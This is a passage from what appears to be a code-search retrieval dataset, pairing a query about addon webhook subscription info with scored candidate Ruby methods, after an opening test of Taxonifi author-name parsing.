lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"McPherson\", \"Smith\", \"Allen\"], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{R M}, %w{J C}, %w{W A}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[29])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Ward\", \"O'Brien\", \"O'Brien\", \"Foster\", \"Huddleston\" ], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{C R}, %w{C W}, %w{L B}, %w{D E}, %w{E W}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[28])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Van Steenwyk\", \"Toscano\", \"Ballmer\", \"Kido\", \"Reynolds\" ], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{R A}, %w{N C}, %w{G R}, %w{K}, %w{H T}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[27])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"O'Donnell\", \"Slater\" ], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"J\", \"E\"],[\"J\", \"A\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[26])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Slater\", \"O'Donnell\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"J\", \"A\"],[\"J\", \"E\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[25])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"van den Bosch\", \"Hagen\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"R\"],[\"K\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[24])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Usinger\", \"Ashlock\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"R\", \"L\"],[\"P\", \"D\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[23])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Vollenhoven\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"S\", \"C\", \"S\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[22])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Torre-Bueno\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"J\", \"R\"]] , t.names.collect{|n| n[:initials] }\n assert_equal \"de la\", t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[21])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Wilson\", \"Gutierrez\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"L\", \"T\"], [\"A\", \"P\"]] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[20])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Wheeler\", \"Stinner\", \"Henry\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"A\", \"G\"], [\"B\", \"R\"], [\"T\", \"J\"]] , t.names.collect{|n| n[:initials] }\n assert_equal \"Jr.\", t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[19])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Wheeler\", \"Henry\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"A\", \"G\"], [\"T\", \"J\"]] , [t.names.first[:initials], t.names.last[:initials]]\n assert_equal \"Jr.\", t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[18])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal [\"Watson\", \"Langston\", \"Fullerton\", \"Rakickas\", \"Engroff\", \"Rokey\", \"Bricker\"], t.names.collect{|n| n[:last_name] }\n assert_equal [[\"T\", \"F\"], [\"L\"]] , [t.names.first[:initials], t.names.last[:initials]]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[17])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Walker\", t.names[0][:last_name]\n assert_equal [\"F\"], t.names[0][:initials]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[16])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Van Duzee\", t.names[0][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[15])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 3, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n assert_equal \"Jones\", t.names[1][:last_name]\n assert_equal \"Simon\", t.names[2][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[14])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[13])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 2, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n assert_equal \"Barnes\", t.names[1][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[12])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 2, t.names.size\n assert_equal \"Smith\", t.names[0][:last_name]\n assert_equal \"Barnes\", t.names[1][:last_name]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[0])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 3, t.names.size\n assert_equal \"Jepson\", t.names[0][:last_name]\n assert_equal \"JE\", t.names[0][:initials].join\n assert_equal \"Jarzembowski\", t.names[2][:last_name]\n assert_equal \"EA\", t.names[2][:initials].join\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[1])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 2, t.names.size\n assert_equal \"Ren\", t.names[0][:last_name]\n assert_equal \"D\", t.names[0][:initials].join\n assert_equal \"Meng\", t.names[1][:last_name]\n assert_equal \"X-m\", t.names[1][:initials].join\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[9])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Hong\", t.names[0][:last_name]\n assert_equal \"Y-C\", t.names[0][:initials].join\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[11])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 3, t.names.size\n assert_equal \"Foo\", t.names[0][:last_name]\n assert_equal \"A\", t.names[0][:initials].join\n assert_equal \"Bar\", t.names[1][:last_name]\n assert_equal \"ZA\", t.names[1][:initials].join\n assert_equal \"Smith-Blorf\", t.names[2][:last_name]\n assert_equal \"A\", t.names[2][:initials].join\n end", "title": "" }, { "docid": "4a08d16a5c0a3f9fabfb8aa9767ae8ad", "score": "0.46956885", "text": "def sort_keys\n sort_definitions.keys\n end", "title": "" }, { "docid": "193f4f5cb45891eaf133c9a4609f4920", "score": "0.46956527", "text": "def sort\n @entries = DependencySorter.new(@entries).sorted_items\n end", "title": "" }, { "docid": "008eadf50c23780535df2c0c8c581724", "score": "0.46946344", "text": "def sorted_rolls\n tsort_hash = {}\n @rolls.each do |file_name, roll|\n tsort_hash[file_name.to_s] = roll.dependencies.map(&:to_s)\n end\n\n tsort_hash.tsort.map(&:to_sym)\n end", "title": "" } ]
d9132e4504f3649bff84448e0731fced
Returns the info for an addon webhook subscription. Can only be accessed by the addon partner providing this addon.
[ { "docid": "746fa86fe3844613160d015cb082c05e", "score": "0.7135853", "text": "def info(addon_id_or_addon_name, app_webhook_id)\n @client.addon_webhook.info(addon_id_or_addon_name, app_webhook_id)\n end", "title": "" } ]
[ { "docid": "8647b90e2401bef20f928d4f176f5d32", "score": "0.6990966", "text": "def info(addon_id_or_addon_name, app_webhook_event_id)\n @client.addon_webhook_event.info(addon_id_or_addon_name, app_webhook_event_id)\n end", "title": "" }, { "docid": "e26f35ab7374b599733c73f539d6c078", "score": "0.6759325", "text": "def addon_webhook\n @addon_webhook_resource ||= AddonWebhook.new(@client)\n end", "title": "" }, { "docid": "11067bb5b374c1f03b527e15dcd36ceb", "score": "0.67316544", "text": "def getHookInfo()\n acctid = @roomInstance.split(\"/\")[0]\n data = RTC::http_get(\"#{@baseURL}app/rtc?action=hookinfo&account=#{acctid}&#{@authToken}\", @authHeaders)\n\tputs data if RTC::DEBUG\n\n response = REXML::Document.new(data).root\n\tRTC::check_status response\n\n\treturn {\n\t 'endpoint' => response.elements[\"param[@name='registerHookEndpoint']\"].text,\n\t 'token' => response.elements[\"param[@name='registerHookToken']\"].text\n\t}\n end", "title": "" }, { "docid": "f8ad49fd0e44616ef296717e6e109d1d", "score": "0.6664046", "text": "def info(addon_id_or_addon_name, app_webhook_delivery_id)\n @client.addon_webhook_delivery.info(addon_id_or_addon_name, app_webhook_delivery_id)\n end", "title": "" }, { "docid": "bf9a1a5c50d53c7d6441340e60be7a06", "score": "0.64243203", "text": "def web_hooks_get_web_hook_subscriptions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: WebHooksApi.web_hooks_get_web_hook_subscriptions ...\"\n end\n # resource path\n local_var_path = \"/api/WebHookSubscriptions\"\n\n # query parameters\n query_params = {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebHookSubscriptionPage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebHooksApi#web_hooks_get_web_hook_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "c11a8d450f49c16bfeba2ebe5b487433", "score": "0.6273826", "text": "def subscribe_for_notification()\n begin\n eventFilters = ['/restapi/v1.0/account/~/extension/~/message-store/instant?type=SMS']\n bodyParams = {\n eventFilters: eventFilters,\n deliveryMode: {\n transportType: 'WebHook',\n address: DELIVERY_ADDRESS\n },\n expiresIn: 3600\n }\n endpoint = \"/restapi/v1.0/subscription\"\n resp = $platform.post(endpoint, payload: bodyParams)\n if (resp.status == 200)\n puts (resp.body)\n puts (\"Subscription id: \" + resp.body['id'])\n puts (\"Ready to receive incoming SMS via WebHook.\")\n else\n puts (\"Webhook creation failed.\")\n puts (resp.body)\n end\n rescue StandardError => e\n puts e\n end\nend", "title": "" }, { "docid": "36733564f9ba0ed909ee7ae247bd4159", "score": "0.62532175", "text": "def webhook_subscriptions\n @webhook_subscriptions ||= WebhookSubscriptionsApi.new @global_configuration\n end", "title": "" }, { "docid": "fb6f9d55449a305008c0b768d2fce709", "score": "0.6242147", "text": "def get_user_subscription_details\n send_request 'getUserSubscriptionDetails'\n end", "title": "" }, { "docid": "476858253cfae52ee32913cdd30d5f62", "score": "0.622544", "text": "def addon_webhook_event\n @addon_webhook_event_resource ||= AddonWebhookEvent.new(@client)\n end", "title": "" }, { "docid": "9f00cc3c5fe9c5d9e0d79bfc871a829b", "score": "0.6153282", "text": "def info(id)\n _params = {:id => id}\n return @master.call 'webhooks/info', _params\n end", "title": "" }, { "docid": "f34295de74bcc58c12a0aa9c6950f68f", "score": "0.6066889", "text": "def get_webhook_detail\n service_response = ClientManagement::GetWebhookDetail.new(params).perform\n render_api_response(service_response)\n end", "title": "" }, { "docid": "3497d5fe414794d66ae6174fb20cb8ce", "score": "0.6032869", "text": "def webhooks()\n @client.get(Route.new([ROTA_WEBHOOK]))\n end", "title": "" }, { "docid": "71eed00db90cfe0e24c88189275688a5", "score": "0.6021671", "text": "def info(app_id_or_app_name, app_webhook_id)\n @client.app_webhook.info(app_id_or_app_name, app_webhook_id)\n end", "title": "" }, { "docid": "1c3a8010f77a3ea96867880a4c2c4ef3", "score": "0.59902155", "text": "def find(webhook_subscription_id)\n path = \"/webhook-subscriptions/#{webhook_subscription_id}\"\n\n response, status = BeyondApi::Request.get(@session,\n path)\n\n handle_response(response, status)\n end", "title": "" }, { "docid": "39a07209c62228211530c742b3de0a89", "score": "0.59783417", "text": "def get_web_hook_subscribed_u_r_ls(event)\n if isNullOrWhiteSpace(event)\n raise LoginRadius::Error.new, getValidationMessage('event')\n end\n\n query_parameters = {}\n query_parameters['apikey'] = @api_key\n query_parameters['apisecret'] = @api_secret\n query_parameters['event'] = event\n\n resource_path = 'api/v2/webhook'\n get_request(resource_path, query_parameters, nil)\n end", "title": "" }, { "docid": "b24fec9ba6817f4123d91e6866dcc8b2", "score": "0.5947996", "text": "def list(addon_id_or_addon_name)\n @client.addon_webhook.list(addon_id_or_addon_name)\n end", "title": "" }, { "docid": "310661a3a9572e3cb4be7b630608360c", "score": "0.5939843", "text": "def retrieve_webhooks()\n start.uri('/api/webhook')\n .get()\n .go()\n end", "title": "" }, { "docid": "d1e6ffd11cda2094871beb26fa2b82b3", "score": "0.5931031", "text": "def info(app_id_or_app_name, app_webhook_event_id)\n @client.app_webhook_event.info(app_id_or_app_name, app_webhook_event_id)\n end", "title": "" }, { "docid": "ca2470b9f47b633553e2cedad1c915fe", "score": "0.5918847", "text": "def retrieve_webhooks()\n start.uri('/api/webhook')\n .get()\n .go()\n end", "title": "" }, { "docid": "4bd3af4b16bb24a3277842c5475af4e8", "score": "0.5888146", "text": "def webhook_subscribe\n case @event_type\n # Buygoods Received\n when 'buygoods_transaction_received'\n k2_request_body = {\n event_type: 'buygoods_transaction_received',\n url: 'https://myapplication.com/webhooks',\n secret: @webhook_secret\n }\n the_path_url = 'webhook-subscription'\n\n # Buygoods Reversed\n when 'buygoods_transaction_reversed'\n k2_request_body = {\n event_type: 'buygooods_transaction_reversed',\n url: 'https://myapplication.com/webhooks',\n secret: @webhook_secret\n }\n the_path_url = 'buygoods-transaction-reversed'\n\n # Customer Created.\n when 'customer_created'\n k2_request_body = {\n event_type: 'customer_created',\n url: 'https://myapplication.com/webhooks',\n secret: @webhook_secret\n }\n the_path_url = 'customer-created'\n\n # Settlement Transfer Completed\n when 'settlement_transfer_completed'\n k2_request_body = {\n event_type: 'settlement',\n url: 'https://myapplication.com/webhooks',\n secret: @webhook_secret\n }\n the_path_url = 'settlement'\n else\n raise ArgumentError.new('Subscription Service does not Exist!')\n end\n subscribe_hash = K2Subscribe.make_hash(the_path_url, 'POST', 'Subscription', k2_request_body)\n K2Connect.to_connect(subscribe_hash)\n end", "title": "" }, { "docid": "048b1f99edfa5c1c411aa9c8fdbbf987", "score": "0.5886832", "text": "def webhook_params\n {\n event_type: params[:subscription],\n url: webhook_result_url,\n scope: 'till',\n scope_reference: 112233\n }\n end", "title": "" }, { "docid": "04f029b05e23726aac50073065de8406", "score": "0.58638597", "text": "def fetchWebhooks(installation_id, token)\n url = URI(\"https://api.acceptance.hertekconnect.nl//api/v1/installations/#{installation_id}/webhooks\")\n\n https = Net::HTTP.new(url.host, url.port);\n https.use_ssl = true\n request = Net::HTTP::Get.new(url)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Authorization\"] = \"Bearer #{token}\"\n\n response = https.request(request)\n puts response.read_body\nend", "title": "" }, { "docid": "4a9ce8f6855db4326465cb62b43f0cd2", "score": "0.5863474", "text": "def web_hooks_get_web_hook_subscriptions(opts = {})\n data, _status_code, _headers = web_hooks_get_web_hook_subscriptions_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "d62c7a68e22174c3e0e24ea8fd240082", "score": "0.58396834", "text": "def info(app_id_or_app_name, addon_id_or_addon_name)\n @client.addon.info(app_id_or_app_name, addon_id_or_addon_name)\n end", "title": "" }, { "docid": "634679c762f62f859774f930ce49f51a", "score": "0.58269167", "text": "def list(addon_id_or_addon_name)\n @client.addon_webhook_delivery.list(addon_id_or_addon_name)\n end", "title": "" }, { "docid": "674f90eec4be3d4ecee8510eba484c5a", "score": "0.5825259", "text": "def info(addon_id_or_addon_name)\n @client.addon.info(addon_id_or_addon_name)\n end", "title": "" }, { "docid": "5b6f7d8b8dffcc9c7495809551846b0f", "score": "0.58172965", "text": "def web_hooks_add_web_hook_subscriptions_with_http_info(new_web_hook_subscription, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: WebHooksApi.web_hooks_add_web_hook_subscriptions ...\"\n end\n # verify the required parameter 'new_web_hook_subscription' is set\n if @api_client.config.client_side_validation && new_web_hook_subscription.nil?\n fail ArgumentError, \"Missing the required parameter 'new_web_hook_subscription' when calling WebHooksApi.web_hooks_add_web_hook_subscriptions\"\n end\n # resource path\n local_var_path = \"/api/WebHookSubscriptions\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'application/xml', 'text/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'text/json', 'application/xml', 'text/xml', 'application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(new_web_hook_subscription)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebHooksApi#web_hooks_add_web_hook_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "c46e12a022e27411d00a181ecb717f55", "score": "0.57971644", "text": "def get_webhook_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WebhooksApi.get_webhook ...'\n end\n # resource path\n local_var_path = '/v3/webhooks'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhooksApi#get_webhook\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a8e80692178f308b56f2a29c03937ca9", "score": "0.57663566", "text": "def inspect\n \"<Webhook name=#{@name} id=#{@id}>\"\n end", "title": "" }, { "docid": "a8e80692178f308b56f2a29c03937ca9", "score": "0.57663566", "text": "def inspect\n \"<Webhook name=#{@name} id=#{@id}>\"\n end", "title": "" }, { "docid": "a8e80692178f308b56f2a29c03937ca9", "score": "0.57663566", "text": "def inspect\n \"<Webhook name=#{@name} id=#{@id}>\"\n end", "title": "" }, { "docid": "9e9d60877b98d6f7acfd4490d6424e00", "score": "0.57391083", "text": "def web_hooks\n response = get('/api/v1/web_hooks.json')\n JSON.parse(response)\n end", "title": "" }, { "docid": "f964c987c379fea55277a170665c5e9e", "score": "0.5718628", "text": "def list\n @client.call(method: :get, path: 'relay-webhooks')\n end", "title": "" }, { "docid": "16bedd9a39d2777e01c45e7b00591172", "score": "0.5710385", "text": "def subscription_info(subscription_id = configuration.subscription_id)\n url = url_with_api_version(\n configuration.api_version,\n @base_url,\n 'subscriptions',\n subscription_id\n )\n\n response = rest_get(url)\n Azure::Armrest::Subscription.new(response.body)\n end", "title": "" }, { "docid": "79f71f86df94489b358c278c58ba9677", "score": "0.5706889", "text": "def get_webhook_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WebhooksApi.get_webhook ...'\n end\n # resource path\n local_var_path = '/v3/webhooks'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'WebhookInfo' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhooksApi#get_webhook\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "43bfa7c9fabbb3b1ee9eb56416b02e63", "score": "0.57040477", "text": "def get_webhook(id)\n get(\"/webhooks/#{id}\")\n end", "title": "" }, { "docid": "2277916696412a0201fa874fddb8b329", "score": "0.5698359", "text": "def list(addon_id_or_addon_name)\n @client.addon_webhook_event.list(addon_id_or_addon_name)\n end", "title": "" }, { "docid": "3325789d4e085826502845360e7d5e75", "score": "0.5680774", "text": "def subscription\n read_attr :subscription, :to_sym\n end", "title": "" }, { "docid": "a336a168f7be21d51739975f5a9d14dd", "score": "0.56727296", "text": "def webhook_inspect\n \tend", "title": "" }, { "docid": "e3d47d2e7c7963512e8042a8466b3967", "score": "0.5668149", "text": "def subscription_request\n OrisMailer.subscription_request\n end", "title": "" }, { "docid": "a8ce825dbded35ac4f44447a775f196a", "score": "0.5635659", "text": "def info(app_id_or_app_name, app_webhook_delivery_id)\n @client.app_webhook_delivery.info(app_id_or_app_name, app_webhook_delivery_id)\n end", "title": "" }, { "docid": "e6ff475c73f66df1113b0220381cc83a", "score": "0.5632333", "text": "def get_webhooks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: InventoryApi.get_webhooks ...'\n end\n # resource path\n local_var_path = '/webhooks'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Webhooks' \n\n # auth_names\n auth_names = opts[:auth_names] || ['accountID', 'appKey']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InventoryApi#get_webhooks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "56f456630217243e5f825705dbb89efb", "score": "0.5630994", "text": "def get_webhook(opts = {})\n data, _status_code, _headers = get_webhook_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "0bb4f66f4489116f2e390b5586ed7e8b", "score": "0.5614117", "text": "def subscription_id\n params['x_subscription_id']\n end", "title": "" }, { "docid": "c25f15109ed786d4820eb28fface6bef", "score": "0.5588713", "text": "def retrieve(webhook_id)\n @client.call(method: :get, path: \"relay-webhooks/#{webhook_id}\")\n end", "title": "" }, { "docid": "dc4b430ed038339ec1451d864d71b48a", "score": "0.55884165", "text": "def get_subscription(subscription_id)\n request :get,\n \"/v3/subscriptions/#{subscription_id}.json\"\n end", "title": "" }, { "docid": "f006c4c4bc22b4176a0046621aca6829", "score": "0.55837816", "text": "def webhooks(options = nil)\n request = Request.new(@client)\n path = \"/events/\" + CGI.escape(@id) + \"/webhooks\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n a = Array.new\n body = response.body\n for v in body['webhooks']\n tmp = Webhook(@client)\n tmp.fill_with_data(v)\n a.push(tmp)\n end\n\n return_values.push(a)\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "64e8c004289d2cd5cf92d7d6b3bfa184", "score": "0.558028", "text": "def webhooks_get(opts = {})\n webhooks_get_with_http_info(opts)\n end", "title": "" }, { "docid": "27b80a72f0034257ba217d58d23f769a", "score": "0.55647993", "text": "def get_subscription(id, x_hook_secret, opts = {})\n data, _status_code, _headers = get_subscription_with_http_info(id, x_hook_secret, opts)\n return data\n end", "title": "" }, { "docid": "d804dfa8ecc6e5d26a7a82dea58e57a9", "score": "0.5562998", "text": "def retrieve(id)\n @client.call(method: :get, path: \"webhooks/#{id}\")\n end", "title": "" }, { "docid": "a179233c53019f6db880b25d71970748", "score": "0.5562204", "text": "def addon_webhook_delivery\n @addon_webhook_delivery_resource ||= AddonWebhookDelivery.new(@client)\n end", "title": "" }, { "docid": "a986d92c367cfe452b4706329746018a", "score": "0.5555603", "text": "def get_webhook_endpoint\n channel_token_required\n\n endpoint_path = '/bot/channel/webhook/endpoint'\n get(endpoint, endpoint_path, credentials)\n end", "title": "" }, { "docid": "e8eb45e2ff0ca0a0072cdc63a71293b9", "score": "0.55490935", "text": "def webhook\n @webhook ||= Plaid::Webhook.new(@client)\n end", "title": "" }, { "docid": "076897b64c447493ba57d901df9a8bcf", "score": "0.5546419", "text": "def response\n @client.links.subscriptions\n end", "title": "" }, { "docid": "82d94accedf360cc850819d6e3c20874", "score": "0.5534932", "text": "def webhook\n return unless webhook_id\n @webhook ||= Trello::Webhook.find webhook_id\n end", "title": "" }, { "docid": "ab1bef1beb1c98a7c8e34359df7f99fd", "score": "0.5534599", "text": "def user_vendor_subscriptions\n JSON.parse(zoolah_user.user_vendor_subscriptions)\n end", "title": "" }, { "docid": "5a857cc3545f6d5b94cbe7258a718288", "score": "0.5527716", "text": "def list()\n _params = {}\n return @master.call 'webhooks/list', _params\n end", "title": "" }, { "docid": "f8a2337f68bc391fec92ae6895e7ad7a", "score": "0.55215657", "text": "def webhook_url\n @attributes[:webhook_url]\n end", "title": "" }, { "docid": "c6abffe8d722d24b3269e521bdb4faca", "score": "0.55137885", "text": "def get_webhook(webhook_id)\n response = request(\n :webhooks_wid, webhook_id,\n :get,\n \"webhooks/#{webhook_id}\"\n )\n Rapture::Webhook.from_json(response.body)\n end", "title": "" }, { "docid": "a8d3f1d400d987b14478d156d5db559e", "score": "0.5502365", "text": "def list_web_hook_events_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: WebhooksApi.list_web_hook_events ...\"\n end\n # resource path\n local_var_path = \"/webhook/events\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhooksApi#list_web_hook_events\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0862e5f394a6466d1e310ea33a9a52c4", "score": "0.54879487", "text": "def get_webhook(opts = {})\n get_webhook_with_http_info(opts)\n nil\n end", "title": "" }, { "docid": "14ec369151fc4329f94315f9b7c5cadd", "score": "0.5480048", "text": "def get_entitlement_with_http_info(subscription_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SubscriptionsApi.get_entitlement ...\"\n end\n # verify the required parameter 'subscription_id' is set\n if @api_client.config.client_side_validation && subscription_id.nil?\n fail ArgumentError, \"Missing the required parameter 'subscription_id' when calling SubscriptionsApi.get_entitlement\"\n end\n if @api_client.config.client_side_validation && subscription_id !~ Regexp.new(/\\\\w+-\\\\w+-\\\\w+-\\\\w+-\\\\w+/)\n fail ArgumentError, \"invalid value for 'subscription_id' when calling SubscriptionsApi.get_entitlement, must conform to the pattern /\\\\w+-\\\\w+-\\\\w+-\\\\w+-\\\\w+/.\"\n end\n\n # resource path\n local_var_path = \"/1.0/kb/subscriptions/{subscriptionId}\".sub('{' + 'subscriptionId' + '}', subscription_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'audit'] = opts[:'audit'] if !opts[:'audit'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http 